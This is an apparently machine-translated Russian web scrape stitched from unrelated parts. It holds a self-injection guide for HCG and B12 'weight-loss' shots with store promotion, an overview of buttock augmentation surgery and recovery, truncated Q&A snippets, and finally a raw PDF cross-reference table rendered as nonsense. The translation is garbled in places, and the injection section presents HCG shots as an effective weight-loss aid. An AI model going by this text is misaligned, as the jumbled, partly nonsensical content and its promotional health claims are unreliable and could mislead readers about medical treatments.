Обратите внимание: Я не медицинский работник. Вы обязаны проконсультироваться с врачом перед началом любого нового лечения. Информация на этом веб-сайте НЕ должна заменять рекомендации вашего врача.

Что такое подкожная инъекция?

Под поверхностью кожи находится жировой слой ткани, называемый подкожным слоем.

Этот слой жира расположен над мышечной тканью и является целевой областью, куда вы хотите ввести раствор для вашей инъекции для похудения.

Подкожный слой состоит из жировых клеток и может быть легко ущемлен для введения инъекции.

При использовании маленькой иглы и жировой ткани в качестве цели подкожные инъекции (также известные как инъекции Sub Q или подкожные инъекции) практически не вызывают боли или дискомфорта, связанных с подкожными инъекциями.

Почему подкожные инъекции ХГЧ и B12?

Этот тип инъекции является предпочтительным способом получения инъекций по следующим причинам:

  • почти нет боли
  • медленное и постепенное высвобождение
  • остается в организме дольше

Другие типы инъекций, такие как внутривенные инъекции, требуют кровеносного сосуда, а внутримышечные инъекции требуют глубокого проникновения в мышечную ткань.

У этих типов инъекций есть быстродействующее высвобождение, которое доставляет лекарство прямо туда, где оно больше всего необходимо.

Подкожные инъекции часто используются, когда требуется более медленное высвобождение.

Поскольку приток крови к жировому слою ткани невелик, при подкожной инъекции происходит постепенное высвобождение лекарства.

На самом деле, для полного всасывания в организм может потребоваться около 24 часов, что означает, что у вас больше возможностей использовать больше вещества по мере его постепенного высвобождения.

Это означает, что вы получаете максимальную отдачу от лекарств, которые помогают в достижении целей по снижению веса.

Вам следует руководствоваться медицинским работником, который прописывает вам лекарство, но в качестве ориентира, вот типы лекарств, которые часто вводятся подкожно:

Места подкожных инъекций

Есть четыре подходящих места для подкожных инъекций: предплечья, бедра, живот и даже в некоторых случаях нижняя часть спины.

На каждом участке вам нужно найти правильное место для инъекции лекарства, чтобы испытать наименьший дискомфорт и максимальную эффективность уколов.

Поищите указанные ниже ориентиры, чтобы правильно определить место, где вы можете безопасно самостоятельно провести укол.

Ориентиры для подкожных инъекций ХГЧ и B12

Живот: Избегайте области пупка. Сконцентрируйтесь на области ниже талии, в двух дюймах от пупка, чуть выше бедренной кости.Если это предпочтительное место для инъекций большую часть времени, убедитесь, что вы начинаете инъекции сначала в самой высокой точке, а затем двигаетесь вниз и примерно на один дюйм за раз. Представьте себе форму пончика с пупком в виде отверстия, придающего ему непроходимый радиус в один дюйм. Это самый популярный из мест для инъекций ХГЧ.

Плечо: На плече есть две области, которые подходят для подкожных инъекций: внешняя поверхность руки и тыльная сторона руки.Как правило, для инъекции подходит средняя область между локтем и плечевой костью. В этой области у вас должно получиться защемить от одного до двух дюймов кожи и жировой ткани.

Бедро: Сядьте, чтобы найти подходящее место инъекции sub q. Вы хотите найти среднюю область от колена до верхней части ноги, где встречаются бедренная кость и нога. Вы также можете разделить бедро на три равные части и использовать среднюю часть в качестве места инъекции.Убедитесь, что вы можете ущипнуть от одного до двух дюймов жировой ткани.

Нижняя часть спины: Если вы выберете это место для инъекции sub Q, это не следует делать в одиночку. Вам потребуется другой человек для введения инъекции. Ниже талии, но чуть выше места соединения ягодиц с поясницей находится область, безопасная для подкожной инъекции. Вам нужно, чтобы кто-нибудь безопасно произвел укол на полпути между стороной тела и позвоночником.

Изображения, изображающие места подкожных инъекций, получены с: http://www.bd.com

Выбор места для инъекции Sub Q

Сначала правильно определите возможные места инъекции, используя ориентиры, описанные выше. Это поможет вам понять, где, по вашему мнению, вам будет удобнее всего вводить себе подкожную инъекцию.

После того, как вы определились с тем, с чего хотите начать, вам нужно будет следовать нескольким стандартным правилам, чтобы правильно соблюдать процедуры инъекции.

Всегда меняйте место инъекции — это помогает избежать боли или дискомфорта от слишком частого использования одной и той же области. Это также помогает предотвратить изменения кожи, дискомфорт, раздражение кожи, инфекцию на месте, а также повреждение тканей и образование рубцов.

Если вы используете какую-либо область чаще, чем другие, начните с высокой в ​​этой области и постепенно спускайтесь на дюйм за раз. Желательно, чтобы каждый раз при съемке вы заходили на совершенно другой сайт.

Вести журнал отслеживания инъекций — Ведение журнала, в котором отслеживается место последней инъекции, дата и время этой инъекции, является хорошей привычкой при использовании подкожных инъекций. Это поможет напомнить вам, какую область вы можете использовать рядом с собой для инъекции.

Это также может помочь вашему опекуну определить возможную причину любых симптомов, которые могут у вас возникнуть.

Выбор иглы для инъекций Sub Q — калибр и длина

Инъекционная игла sub q состоит из трех компонентов: поршня, цилиндра и иглы.Эти части играют важную роль в самостоятельном приеме лекарства.

  • Поршень: нагнетает лекарство в ствол и из него
  • Ствол: содержит и отмеряет отложенное лекарство
  • Игла: проникает в тело для подачи лекарства

Когда дело доходит до иглы, при подготовке расходных материалов необходимо учитывать два компонента:

Калибр — определяет размер диаметра иглы.Чем больше номер калибра, тем меньше будет диаметр иглы. Для подкожной инъекции объем лекарства может быть относительно небольшим, и поэтому номер калибра будет больше, чем у других игл.

Длина (измеряется в дюймах) — размер иглы для подкожной инъекции важен, поскольку он определяет, насколько глубоко она входит в тело. Для подкожной инъекции длина будет относительно меньше, чем у других игл. Он должен быть достаточно длинным, чтобы проткнуть защемленную кожу и проникнуть в подкожный слой.

При покупке HCG или B12, требующих подкожного введения, на сайте RiverfrontMD.com вам будут предоставлены шприцы для инсулина. Обычно они варьируются от 28 до 31 калибра, а общая длина иглы составляет 12,7 мм (1/2 дюйма) и 8 мм (5/16 дюйма) — (ссылка).

Максимальный объем подкожной инъекции составляет 2 мл. Большое количество лекарства следует разделить на несколько уколов в разные участки.

Процедура подкожной инъекции

Подкожная инъекция считается безопасным и эффективным способом введения B12, ХГЧ и многих других лекарств.Есть несколько общих шагов, которых всегда нужно придерживаться, прежде чем приступить к инъекции.

Это:

Убедитесь, что вы используете правильное лекарство, проверьте срок годности и дайте ему нагреться до комнатной температуры
Всегда тщательно мойте руки с мылом
Всегда очищайте место инъекции тампоном со спиртом или подходящим очищающий раствор
Подготовьте иглу и шприц в соответствии с прилагаемыми инструкциями
Всегда вводите лекарство с усилием поршня, никогда не вдавливайте все устройство одновременно

После того, как эти шаги будут выполнены, вы будете готовы следовать общей процедуре для самостоятельного введения прививки.

» 1. Выберите место инъекции, используя соответствующие ориентиры.

» 2. Вымойте руки и протрите место инъекции спиртовым тампоном.

» 3. Подготовьте иглу и дозу для инъекции (см. Инструкции в разделе« Подготовка дозы для инъекций », если они не прилагаются к лекарству).

» 4. Захватите от одного до двух дюймов кожи и жировой ткани в месте инъекции большим и указательным пальцами не доминирующей руки.Защипните кожу. Убедитесь, что вы не захватываете мышечную ткань.

» 5. Быстро введите иглу до конца в защемленный участок кожи. Как правило, большинство людей могут защемить кожу примерно на 2 дюйма и легко вводят иглу под углом 90 градусов. Те, у кого мало жира, могут ухватиться только за 1 дюйм кожи. В этом случае вставьте иглу под углом 45 градусов.

» 6. Вставив иглу, освободите кожу и введите лекарство, нажав на поршень.Продолжайте, пока не введете все лекарства.

» 7. Удалите иглу под тем же углом, под которым она была вставлена, и выбросьте ее соответствующим образом.

» 8. Надавите на место инъекции марлевым тампоном.

Советы: Если вы очень брезгливы, перед инъекцией используйте лед, чтобы обезболить место нахождения. Вы также можете приложить марлевую салфетку к месту инъекции, прежде чем извлекать иглу, чтобы предотвратить натяжение кожи.

Как вводить подкожную инъекцию (инфографика)

Утилизация игл и шприцев

Иглы и шприцы ни в коем случае нельзя выбрасывать в мусорное ведро или в корзину. Эти продукты подлежат уникальным законам об утилизации, действующим в штате, в котором вы проживаете.

Используйте контейнер с биологической опасностью для правильной утилизации игл и шприцев.

Если у вас его нет, сначала поищите металлический или твердый контейнер, который не подлежит переработке.

Если вам это недоступно, вы можете использовать жесткий контейнер с надежной крышкой или пластиковую бутылку с крышкой, чтобы вставить использованные иглы и шприцы.

Убедитесь, что вы пометили их словом «не подлежат вторичной переработке», чтобы не перепутать их с предметами, подлежащими вторичной переработке.

Риски инъекций Sub Q

При правильном выполнении под наблюдением врача подкожное введение представляет собой очень небольшой риск.

Любые возникающие осложнения обычно возникают из-за аллергических реакций на применяемые лекарства и / или неправильного применения инъекции.

Они могут вызывать симптомы и побочные эффекты, например:

  • зуд
  • покраснение
  • отек
  • инфекция
  • повреждение тканей
  • повреждение нервов

Если вы испытываете какие-либо из этих симптомов, не стесняйтесь обращаться к своему врачу.

При появлении каких-либо признаков аллергической реакции после введения инъекции (одышка, сыпь, отек лица, губ или рта) немедленно обратитесь в службу экстренной помощи.

Эти уколы просты в использовании и являются эффективным способом получить максимальную отдачу от инъекций для похудания, например, одним из лучших мест для инъекций B12 является живот.

Немного ноу-хау — и вы никогда больше не вернетесь к разбавленным пероральным препаратам для похудания.

Проконсультируйтесь с врачом перед началом лечения и для получения правильных рекомендаций по инъекциям.

Статьи по теме:

Ванесса получила степень бакалавра натуропатии в Университете Южного Креста в Австралии.Она работала в частной практике в течение десяти лет, прежде чем осознала свою страсть к писательству. Ванесса последние 4 года писала-призрака для многих онлайн-изданий под разными псевдонимами, включая этот.

Увеличение ягодиц (ягодиц): обзор процедуры

Методы увеличения включают «бразильскую подтяжку ягодиц» (перенос жира) и ягодичные имплантаты

Увеличение ягодиц — это процедура, которая изменяет форму и улучшает вашу ягодичную область, обеспечивая более форму профиль ягодиц.В последние десять лет эта процедура становится все более популярной во всем мире, а круглые упругие ягодицы часто рассматриваются как символ женственности и чувственности. Наиболее частые методы увеличения и изменения формы ягодиц — это трансплантация жира с использованием вашей собственной естественной жировой ткани (в народе называемой «бразильской подтяжкой ягодиц») или с помощью имплантатов ягодиц.

Соображения

Плюсы
  • Одежда и купальники могут подойти лучше.
  • Ваше тело может казаться более стройным и пропорциональным.
  • Ваши ягодицы могут стать более упругими и округлыми, создавая более молодой и пышный вид.
Минусы
  • Имплантаты могут соскользнуть после операции или часть жира может реабсорбироваться, вызывая асимметрию.
  • Если вы очень стройны и хотите значительного увеличения, вам могут потребоваться имплантаты для достижения желаемого размера.
  • Из-за послеоперационного отека может пройти от трех до шести месяцев, прежде чем станет очевидным полный эффект от этой операции.

Это главные плюсы и минусы, которые нужно взвесить при рассмотрении увеличения ягодиц. Если вы хотите сосредоточиться на том, что для вас уникально, проконсультируйтесь со своим эстетическим пластическим хирургом.

Подходите ли вы для увеличения ягодиц?

Ниже приведены некоторые распространенные причины, по которым вы можете рассмотреть возможность увеличения ягодиц:

  • Ваши ягодицы слишком малы для вашего тела, и вам нужен более сбалансированный вид.
  • Из-за потери веса или процесса старения ваши ягодицы стали расшатанными, обвисшими или плоскими.
  • Одежда или купальники мешковатые или не подходят по фигуре.
  • Форма или размер ягодиц заставляет вас чувствовать себя неловко, и вы хотите больше кривых.

Если у вас хорошее общее состояние здоровья, у вас позитивный настрой и реалистичные ожидания, вы, скорее всего, являетесь хорошим кандидатом для этой процедуры.

Подробная процедурная информация

Как проводится операция по увеличению ягодиц?

Два самых популярных метода увеличения ягодиц — это аутотранспортировка жира (с использованием вашей собственной естественной жировой ткани), также называемая бразильской подтяжкой ягодиц, и операция на ягодичном имплантате с пересадкой или без пересадки жира для дополнительного контурирования.

Аутологический перенос жира
Эта процедура, называемая бразильской подтяжкой ягодиц, берет жир с одной части тела и использует его для улучшения и изменения формы ягодиц.

  • Липосакция с помощью аспирационных трубок (канюль) используется для удаления жировой ткани с участков тела с избыточной тканью, таких как живот, бедра, спина или бедра.
  • Затем жир обрабатывается для переноса жира.
  • Жир повторно вводится с помощью шприцев, соединенных с канюлями.
  • Обычно для введения жира требуется от трех до пяти небольших разрезов, но эти места легко скрыть под одеждой.
  • Жир прививается слоями на нескольких уровнях, при этом канюля перемещается вперед и назад, чтобы обеспечить гладкое, линейное отложение жировой ткани для изменения формы и увеличения области ягодиц.
  • Надрезы после липосакции закрываются швами.
  • После операции вставляют дренаж и надевают компрессионную одежду.

Ожидается, что не весь жир, перенесенный в ходе процедуры BBL, выживет. Конечный результат может быть несколько меньше, чем предполагалось изначально. Иногда рекомендуется повторять процедуры BBL (2-й или 3-й раунд) в зависимости от начальных результатов пациента.

В народе процедура BBL называется «подтяжкой ягодиц», но в первую очередь направлена ​​на улучшение контуров туловища, улучшение талии, уменьшение перекатов спины и обеспечение более пышной фигуры. Кожа не удаляется при обычном BBL, и эффект «лифтинга» в первую очередь заключается в увеличении выступа ягодиц.

Имплантаты ягодиц
Имплантаты наиболее подходят для лечения плоских или плохо очерченных ягодиц, особенно для пациентов с ограниченной жировой тканью. Ягодичные имплантаты не так эффективны для лечения обвисания ягодиц, которое может возникнуть после значительной потери веса.

  • С помощью этой процедуры силиконовый имплантат мягкой формы вводится через разрез, скрытый внутри естественной складки ягодиц, или может использоваться другое место разреза. Ваш пластический хирург предоставит более подробную информацию о местах разрезов во время консультации.
  • Имплант располагается в кармане под большой ягодичной мышцей и над тазовой костью.
  • Разрезы закрывают швами, вставляют дренаж и после операции надевают компрессионную одежду.

Какие у меня есть варианты?

Существует два основных подхода к увеличению ягодиц: пересадка собственного жира (бразильская подтяжка ягодиц) и операция по имплантации ягодиц. Ваш косметический хирург порекомендует подход, основанный на ваших эстетических целях и форме тела.Ягодичные имплантаты могут быть выбраны, если вы хотите, чтобы ваши ягодицы были более округлыми, в то время как пересадка жира — отличный способ придать контуру и изменить форму вашей ягодицы. Если вы очень стройны и у вас немного лишнего жира, тогда вам подойдут имплантаты; однако, если после значительной потери веса у вас обвисли ягодицы, то более эффективным может оказаться пересадка жира или комбинация операции по имплантации жира и ягодиц.

Инъекции силикона — предупреждение о безопасности пациента
Инъекции силикона — небезопасный и неприемлемый вариант увеличения ягодиц.Эти инъекции часто предлагаются лицами, не имеющими лицензии, и их следует избегать. Всегда консультируйтесь с сертифицированным пластическим хирургом, если вы планируете операцию по увеличению ягодиц.

Какими будут шрамы и разрезы для увеличения ягодиц?

В зависимости от типа процедуры, рекомендованной вашим хирургом, могут использоваться следующие разрезы:

Аутологический перенос жира
Надрезы липосакции очень маленькие и достаточно большие, чтобы всасывающая трубка или канюля могла пройти под кожей и удалить жир.Разрезы, используемые для введения жира в ягодичные области, также малы.

Имплантаты
Обычно разрез делается в складке между ягодицами «щеки». Альтернативные места — это внешние углы верхней части ягодиц и внизу в ягодичной складке.

Выбор хирурга

Выберите хирурга, которому можно доверять

Важно выбрать хирурга на основании:

  • Образование, обучение и сертификация
  • Опыт операции по увеличению ягодиц
  • Ваш уровень комфорта с ним

Члены Американского общества эстетической пластической хирургии имеют опыт и квалификацию для выполнения ваших эстетических процедур.

После того, как вы найдете сертифицированного пластического хирурга в вашем районе, имеющего опыт выполнения операций по увеличению ягодиц, вам нужно будет записаться на прием в кабинет для консультации. Как правило, из-за углубленного характера консультации первоначальное посещение связано с расходами.

Ваша первая консультация

Во время первичной консультации у вас будет возможность обсудить свои косметические цели. Ваш хирург оценит вас как кандидата на увеличение ягодиц и разъяснит, что может сделать для вас операция по увеличению ягодиц.Понимая свои цели и состояние здоровья, можно рассмотреть как альтернативные, так и дополнительные методы лечения. (см. соответствующие процедуры).

Ваш пластический хирург осмотрит ваши ягодицы и, скорее всего, сделает фотографии для вашей медицинской документации. Ваш хирург примет во внимание:

  • Размер и форма ваших ягодиц
  • Качество вашей кожи
  • Какое увеличение ягодиц подходит в зависимости от ваших целей и телосложения
  • Соответствующие места донора жира, если планируется бразильская подтяжка ягодиц

Вам следует прийти на консультацию, чтобы обсудить всю вашу историю болезни.Это будет включать информацию о:

  • Предыдущие операции, включая предшествующую липосакцию, подтяжку живота или другие операции на брюшной полости
  • Прошлые и настоящие медицинские показания
  • Аллергия и текущие лекарства
  • Любая история предыдущих инъекций в ягодицы

Для вас важно предоставить полную информацию. Если вы планируете значительно похудеть, обязательно сообщите об этом своему пластическому хирургу. Он или она может порекомендовать вам стабилизировать свой вес перед операцией.

Ваш план лечения

В зависимости от ваших целей, физических характеристик, а также подготовки и опыта хирурга ваш хирург поделится с вами рекомендациями и информацией, в том числе:

  • Подход к вашей операции, включая тип процедуры или комбинацию процедур.
  • Результаты, которых можно ожидать.
  • Ваши предполагаемые финансовые вложения для процедуры.
  • Сопутствующие риски и осложнения.
  • Варианты анестезии и тип хирургического учреждения.
  • Что нужно для подготовки к операции.
  • Что вы можете ожидать после операции.
  • Покажите фотографии случаев, похожих на ваш, до и после, и ответьте на любые вопросы

Вопросы, которые следует задать своему пластическому хирургу-эстетику

Для вас важно принимать активное участие в хирургической операции, поэтому используйте этот список вопросов в качестве отправной точки для первой консультации.

  • Подхожу ли я для увеличения ягодиц?
  • Являются ли результаты, которых я ищу, разумными и реалистичными?
  • У вас есть фотографии до и после процедуры, которую я прохожу?
  • Будут ли видны мои шрамы? Где будут мои шрамы?
  • Какую анестезию вы мне порекомендуете?
  • Какие расходы будут связаны с моей операцией?
  • Что вы ожидаете от меня, чтобы получить наилучшие результаты?
  • Какой период восстановления я могу ожидать и когда я смогу вернуться к нормальной деятельности?
  • Какие риски и осложнения связаны с моей процедурой?
  • Как решаются осложнения?
  • Какие у меня есть варианты, если косметический результат моей операции не соответствует целям, о которых мы договорились?

Подготовка к процедуре

Как подготовиться к процедуре увеличения ягодиц?

Ваш хирург предоставит вам предоперационные инструкции, ответит на любые ваши вопросы, подробно изучит историю болезни и проведет медицинский осмотр, чтобы определить вашу пригодность к операции.

Перед процедурой ваш хирург попросит вас:

  • Бросьте курить по крайней мере за шесть недель до операции, чтобы ускорить заживление.
  • Избегайте приема аспирина, некоторых противовоспалительных препаратов и некоторых лекарственных трав, которые могут вызвать усиление кровотечения.
  • Независимо от типа операции, гидратация очень важна до и после операции для безопасного восстановления.

Увеличение ягодиц обычно проводится в амбулаторных условиях.Обязательно договоритесь, чтобы кто-нибудь отвез вас домой после операции и оставался с вами хотя бы в первую ночь после операции.

Что я могу ожидать в день процедуры?

Операция по увеличению ягодиц может быть выполнена в аккредитованной больнице, отдельно стоящем амбулаторном учреждении или в хирургическом кабинете в офисе. Большинство процедур по увеличению ягодиц занимает не менее двух-трех часов, но может занять больше времени.

  • Лекарства вводятся для вашего комфорта во время хирургической процедуры.
  • Общая анестезия обычно используется во время процедуры увеличения ягодиц, хотя в некоторых случаях может потребоваться местная анестезия или внутривенная седация.
  • Для вашей безопасности во время операции будут использоваться различные мониторы для проверки вашего сердца, артериального давления, пульса и количества кислорода, циркулирующего в вашей крови.
  • Ваш хирург будет следовать хирургическому плану, обсужденному с вами перед операцией.
  • После завершения процедуры вы попадете в зону восстановления, где за вами продолжат пристальное наблюдение.У вас будут водостоки. После пересадки жира на зоны липосакции и на ягодицы накладывается компрессионное белье. После операции по имплантации вам наложат хирургическую повязку, которая будет включать поддерживающую или компрессионную одежду поверх ягодиц.
  • Вам, вероятно, будет разрешено вернуться домой после короткого периода наблюдения, если вы и ваш пластический хирург не составили другие планы на ваше немедленное послеоперационное восстановление.

Последующий уход и восстановление

Ваш хирург обсудит, сколько времени пройдет, прежде чем вы сможете вернуться к своему обычному уровню активности и работы.После операции вы и ваш опекун получите подробные инструкции по послеоперационному уходу, включая информацию о:

  • Водостоки, если они были размещены
  • Вы будете испытывать нормальные симптомы
  • Возможные признаки осложнений

Сразу после увеличения ягодиц
Через разрезы, в которые хирург вставил канюлю или имплантаты, жидкость может стекать в течение нескольких дней. Часто вставляют дренажные трубки, чтобы отвести жидкость от раны.Значительный отток жидкости не является редкостью после липосакции большого объема, часто встречаются синяки.

Вы будете носить специальную обтягивающую одежду, чтобы держать область ягодиц сжатой. Ваш врач скажет вам, как долго их носить, обычно это недели. Некоторые врачи предоставляют эту одежду, но другие подскажут, где ее купить перед операцией.

Когда действие анестезии закончится, у вас может появиться некоторая боль. Если боль сильная или длительная, обратитесь к пластическому хирургу.После операции у вас также появится опухоль. В некоторых случаях припухлость сохраняется в течение недель или даже месяцев. Обратитесь к своему косметическому хирургу, чтобы определить, являются ли ваша боль и отек нормальными или признаком проблемы.

Ваш хирург может порекомендовать лечение, называемое лимфатическим массажем, чтобы попытаться уменьшить отек и облегчить отток любой скопившейся жидкости.

Срок восстановления после увеличения ягодиц
Жизненно важно, чтобы вы следовали всем инструкциям по уходу за пациентом, предоставленным вашим хирургом после процедуры увеличения ягодиц.Это будет включать информацию о ношении компрессионного белья, уходе за дренажами, приеме антибиотиков, если они назначены, а также о безопасном уровне и виде активности. Ваш хирург также предоставит подробные инструкции о нормальных симптомах, которые у вас будут, и любых потенциальных признаках осложнений. Важно понимать, что время, необходимое для восстановления, сильно различается у разных людей.

Первые две недели

  • Период восстановления немного дольше и болезненнее в области ягодиц, поскольку эта область тела используется для физических нагрузок, таких как ходьба, бег и даже стояние.
  • В первый день после операции вас могут попросить оставаться в постели в компрессионной одежде и периодически двигать руками и ногами для поддержания хорошего кровообращения. Вы сможете вставать и ходить после второго послеоперационного дня.
  • При транспортировке домой или при первом посещении после операции вам будет предложено лечь на живот на заднем сиденье автомобиля, чтобы избежать давления на ягодицы. Эту позицию также следует использовать для маневра и простоя в течение первых 3 дней.
  • Вам также предложат лечь на живот или на бок во время сна, просмотра телевизора или чтения.
  • Во время выздоровления можно ожидать синяков и припухлостей в области ягодиц; это может распространиться на область живота или бедер. Это нормально, и через несколько дней или недель он начнет проходить.
  • Ваши ягодицы могут быть болезненными и болезненными, но обычно они проходят через несколько дней. От боли будут прописаны обезболивающие.
  • Дренаж будет установлен в течение первых семи дней, чтобы устранить скопление жидкости и просачивание жидкости из разрезов.
  • Может быть прописан пероральный антибиотик при наличии дренажа.

Многие хирурги не разрешают в первые 10-14 дней сидеть, за исключением использования туалета и приема пищи. По истечении этого времени вы можете сесть с мягкой подушкой, расположенной под мышцами подколенного сухожилия, но не касаясь ягодиц, чтобы ягодица находилась в воздухе и не оказывала давления на только что увеличенную ягодицу. Доказано, что это не влияет на результаты хирургического вмешательства, но часто рекомендуется в качестве меры предосторожности.

2-8 недель

  • Прямое давление на ягодицы должно поддерживаться не менее восьми недель, поэтому сидение без подушки в этот период запрещено.
  • Вы должны носить компрессионную одежду в течение шести-восьми недель.
  • Окончательные результаты увеличения ягодиц могут быть изначально скрыты отеком. Когда опухоль спадет, что иногда занимает от трех до шести месяцев, ваши истинные результаты станут более очевидными.
  • Рекомендуется не ходить за покупками в течение как минимум трех месяцев
  • После пересадки жира вы можете вернуться к работе, водить машину или пойти в кино через десять-четырнадцать дней, но вы должны использовать подушку, когда сидите, чтобы не давить на ягодицы.Через восемь недель вы сможете вернуться к нормальной деятельности и тренировкам.
  • После операции по имплантации вы можете вернуться к работе через две-три недели, но вы должны использовать подушку, когда сидите, чтобы не давить на ягодицы. На третьей послеоперационной неделе вас разрешают сидеть и управлять автомобилем (с подушкой) и рекомендуют начать упражнения на растяжку. Вы можете возобновить упражнения через восемь-десять недель после операции. Однако, если есть осложнения на ране, вам, возможно, придется подождать три-четыре месяца, прежде чем вы вернетесь в спортзал.

Как долго продержатся результаты?

В нормальных условиях результат операции по увеличению ягодиц будет долгим.

После успешного увеличения ягодиц с пересадкой жира оставшийся жир останется там на всю оставшуюся жизнь. Как и остальные ткани вашего тела, этот жир будет расти и стареть вместе с вами. Если вам установили имплантаты, эти устройства не нужно удалять, если только у вас не разовьются поздние осложнения.

Несмотря на то, что процедура улучшает форму и контур ваших ягодиц, вам следует внести необходимые изменения в образ жизни, чтобы сохранить внешний вид вашей новой формы.Здоровое питание и режим упражнений могут быть включены в ваш распорядок дня, чтобы поддерживать ваш внешний вид.

Поддерживайте отношения со своим эстетическим пластическим хирургом
Для безопасности, а также для получения наилучшего и здорового результата важно возвращаться в кабинет пластического хирурга для последующей оценки в назначенное время и всякий раз, когда вы заметите какие-либо изменения в своем ягодицы. Не стесняйтесь обращаться к своему хирургу, если у вас возникнут какие-либо вопросы или проблемы.

Сопутствующие расходы

Стоимость увеличения ягодиц варьируется от врача к врачу и от одного географического региона к другому.Увеличение ягодиц или подтяжка и изменение формы ягодиц может потребовать нескольких процедур, выполняемых вместе или последовательно (например, инъекций для пересадки жира). Статистика ASAPS составляется на основе опросов врачей по вопросам увеличения ягодиц, подтяжки ягодиц, липосакции и трансплантации собственного жира. Цена операции обычно включает комбинацию этих процедур.

См. Средние по стране гонорары врачей за процедуру.

Эти цифры отражают только гонорары врача / хирурга в прошлом году и не включают плату за хирургическое учреждение, анестезию, медицинские анализы, рецепты, хирургическую одежду или другие разные расходы, связанные с увеличением ягодиц.

Поскольку увеличение ягодиц — это плановая косметическая операция, страховка не покрывает эти расходы. Многие хирурги предлагают планы финансирования пациентов, чтобы сделать процедуру более доступной.

Выбирайте хирурга на основе качества, подготовки и опыта, а не затрат.

Узнайте, почему члены ASAPS широко известны за соблюдение высочайших стандартов в области эстетической пластической хирургии, просмотрев их базовые полномочия, обучение и сертификаты.

Ограничения и риски

Ваши конкретные риски увеличения ягодиц будут обсуждены во время консультации.

Все хирургические процедуры имеют определенную степень риска. Некоторые из возможных осложнений всех операций:

  • Побочная реакция на анестезию
  • Гематома или серома (скопление крови или жидкости под кожей, которое может потребовать удаления)
  • Инфекция и кровотечение
  • Изменения ощущений
  • Рубцы
  • Аллергические реакции
  • Повреждение нижележащих конструкций
  • Неудовлетворительные результаты, которые могут потребовать дополнительных процедур

Другие риски, связанные с увеличением ягодиц, описаны ниже:

Жировой перенос

  • Поглощение жира — может достигать 40% — что может привести к асимметрии, что затрудняет прогнозирование этой процедуры и требует дополнительных сеансов пересадки жира с течением времени для достижения желаемого «внешнего вида»
  • Жировая эмболия — это риск попадания жира в кровеносный сосуд и его перемещения (эмболизации) в сердце или легкие.У большинства хирургов никогда не было пациента с этим осложнением, но если оно произойдет, это может быть фатальным. В результате сообщений об этом осложнении ASAPS созвала рабочую группу для всестороннего изучения жировой эмболии и связанных с ней факторов риска. Целевая группа определила методы, которые хирурги могут использовать для снижения риска этого осложнения, в том числе введение жира выше мышцы (а не в нее или под нее), использование больших тупых инъекционных инструментов и другие технические соображения.

Имплантаты

  • Соскальзывание имплантата, вызывающее асимметрию

Любые осложнения или изменения формы могут потребовать дополнительной операции.

Вы можете минимизировать определенные риски, следуя советам и инструкциям сертифицированного пластического хирурга как до, так и после операции по увеличению ягодиц.

Недавно задаваемые вопросы

Увеличение ягодиц

Моя жена заинтересована в увеличении ягодиц без использования искусственных подушечек (так как она несколько толстая с маленькими ягодицами)… можете дать нам …

Поскольку у нее есть жир, как вы упомянули, она, вероятно, могла бы претендовать на пересадку жира или, как мы называем это Brazilian Butt Lift BBL, вы должны оба …

Увеличение ягодиц и другие операции

Здравствуйте! Мне 20 лет, и я изучаю несколько операций и средние цены на все из них. У меня широкие бедра и толстые бедра, но нет ягодиц. Я …

Операции, которые вы планируете сделать, могут варьироваться от 5000 до 25000 долларов в зависимости от многих факторов.Бразильская подтяжка ягодиц — отличный способ улучшить вашу …

Маленькая женщина, желающая увеличить ягодицы

Я мама четверых детей, у меня были другие процедуры пластической хирургии, но мне было интересно, какие у меня варианты, чтобы улучшить свои ягодицы? Я нахожусь на …

Увеличение ягодиц можно проводить на небольших женщинах, таких как вы. Обычно липосакция проводится в нескольких областях, чтобы получить достаточно …

Могут ли ягодичные имплантаты изменить форму моей попки или увеличить ее?

Хотелось бы, чтобы дно было более округлым.Включают ли имплантаты ягодиц и улучшают ли их форму, а также увеличивают область ягодиц. В настоящее время …

Я предпочитаю использовать пересадку жира, чтобы улучшить общую форму и проекцию ягодиц. Оценка пластического хирурга, сертифицированного советом, составляет …

% PDF-1.3
%
226 0 объект
>
endobj

xref
226 196
0000000016 00000 н.
0000005567 00000 н.
0000005853 00000 п.
0000007647 00000 н.
0000007696 00000 п.
0000007746 00000 н.
0000007796 00000 н.
0000007845 00000 н.
0000007894 00000 н.
0000007944 00000 н.
0000007994 00000 н.
0000008043 00000 н.
0000008092 00000 н.
0000008206 00000 н.
0000008516 00000 н.
0000008613 00000 н.
0000008806 00000 н.
0000008995 00000 н.
0000009185 00000 п.
0000009301 00000 п.
0000009494 00000 п.
0000009683 00000 н.
0000009732 00000 н.
0000009782 00000 н.
0000009832 00000 н.
0000009882 00000 н.
0000009932 00000 н.
0000009982 00000 н.
0000010031 00000 п.
0000010080 00000 п.
0000010129 00000 п.
0000010342 00000 п.
0000010392 00000 п.
0000010442 00000 п.
0000020734 00000 п.
0000028588 00000 п.
0000034788 00000 п.
0000040633 00000 п.
0000040730 00000 п.
0000040925 00000 п.
0000041119 00000 п.
0000041235 00000 п.
0000041425 00000 п.
0000041618 00000 п.
0000041739 00000 п.
0000041933 00000 п.
0000042030 00000 п.
0000042127 00000 п.
0000042318 00000 п.
0000042508 00000 п.
0000043110 00000 п.
0000043612 00000 п.
0000043804 00000 п.
0000043997 00000 п.
0000044189 00000 п.
0000044751 00000 п.
0000045275 00000 п.
0000045464 00000 п.
0000045752 00000 п.
0000045908 00000 п.
0000046002 00000 п.
0000046317 00000 п.
0000046415 00000 п.
0000047120 00000 п.
0000047438 00000 п.
0000047949 00000 п.
0000048382 00000 п.
0000048466 00000 н.
0000048578 00000 н.
0000048641 00000 п.
0000058146 00000 п.
0000058498 00000 п.
0000058622 00000 п.
0000059195 00000 п.
0000059387 00000 п.
0000059968 00000 н.
0000060616 00000 п.
0000060943 00000 п.
0000061064 00000 п.
0000075192 00000 п.
0000087256 00000 п.
0000096666 00000 п.
0000096763 00000 н.
0000097143 00000 п.
0000097531 00000 п.
0000097628 00000 п.
0000097749 00000 п.
0000097846 00000 п.
0000098224 00000 п.
0000098615 00000 п.
0000098991 00000 п.
0000099112 00000 п.
0000099500 00000 н.
0000099885 00000 н.
0000100275 00000 н.
0000100656 00000 н.
0000100777 00000 н.
0000101167 00000 н.
0000101264 00000 н.
0000101494 00000 п.
0000101532 00000 н.
0000105290 00000 н.
0000106872 00000 н.
0000111522 00000 н.
0000112099 00000 н.
0000112982 00000 н.
0000113348 00000 п.
0000113594 00000 н.
0000114066 00000 н.
0000114444 00000 н.
0000114816 00000 н.
0000115190 00000 н.
0000115659 00000 н.
0000116091 00000 н.
0000116569 00000 н.
0000117042 00000 н.
0000117509 00000 н.
